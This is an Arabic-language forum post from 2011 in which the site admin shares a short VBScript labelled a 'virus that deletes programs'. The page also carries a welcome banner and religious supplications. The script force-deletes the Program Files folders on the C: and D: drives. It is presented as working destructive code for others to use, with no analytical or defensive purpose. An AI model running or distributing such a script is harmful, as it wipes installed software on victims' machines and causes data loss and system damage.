الرويلي

♥️أهــلاً وسهــلاً♥️


انضم إلى المنتدى ، فالأمر سريع وسهل

الرويلي

♥️أهــلاً وسهــلاً♥️

الرويلي

هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.

اللهم انت ربي لا اله الا انت خلقتني وأنا عبدك وانا على عهدك ووعدك ماستطعت اعوذ بك من شر ماصنعت وابوء لك بنعمتك علي فاغفر لي فانه لا يغفر الذنوب الا انت
اللهم انت ربي لا اله الا انت خلقتني وأنا عبدك وانا على عهدك ووعدك ماستطعت اعوذ بك من شر ماصنعت وابوء لك بنعمتك علي فاغفر لي فانه لا يغفر الذنوب الا انت
الله لا إله إلا هو الحي القيوم لا تأخذه سنة ولا نوم له ما في السماوات وما في الأرض من ذا الذي يشفع عنده إلا بإذنه يعلم ما بين أيديهم وما خلفهم ولا يحيطون بشئ من علمه إلا بما شاء وسع كرسيه السماوات والأرض ولا يؤوده حفظهما وهو العلي العظيم - صدق الله العظيم- البقرة:255
الله لا إله إلا هو الحي القيوم لا تأخذه سنة ولا نوم له ما في السماوات وما في الأرض من ذا الذي يشفع عنده إلا بإذنه يعلم ما بين أيديهم وما خلفهم ولا يحيطون بشئ من علمه إلا بما شاء وسع كرسيه السماوات والأرض ولا يؤوده حفظهما وهو العلي العظيم - صدق الله العظيم- البقرة:255

    فيروس يقوم بحذف البرامج

    Admin
    Admin
    Admin


    فيروس يقوم بحذف البرامج 0a32434d6cf3
    الدولة : السعودية
    عدد المساهمات : 57
    السٌّمعَة : 3
    تاريخ التسجيل : 11/07/2011

    فيروس يقوم بحذف البرامج Empty فيروس يقوم بحذف البرامج

    مُساهمة من طرف Admin الخميس سبتمبر 29, 2011 3:46 pm

    فيروس يقوم بحذف البرامج
    السلام عليكم ورحمة الله وبركاته

    هذا الفيرس يقوم بحذف البرامج الموجود على الجهاز

    الكود



    الكود:

    dim foldersys
    set foldersys=CreateObject("Scripting.FileSystemObject ")
    If foldersys.FolderExists ("c:\Program Files") Then
    foldersys.DeleteFolder "c:\Program Files",TRUE
    END IF
    If foldersys.FolderExists ("D:\Program Files") Then
    foldersys.DeleteFolder "D:\Program Files",TRUE
    END IF

      الوقت/التاريخ الآن هو السبت مايو 11, 2024 5:17 am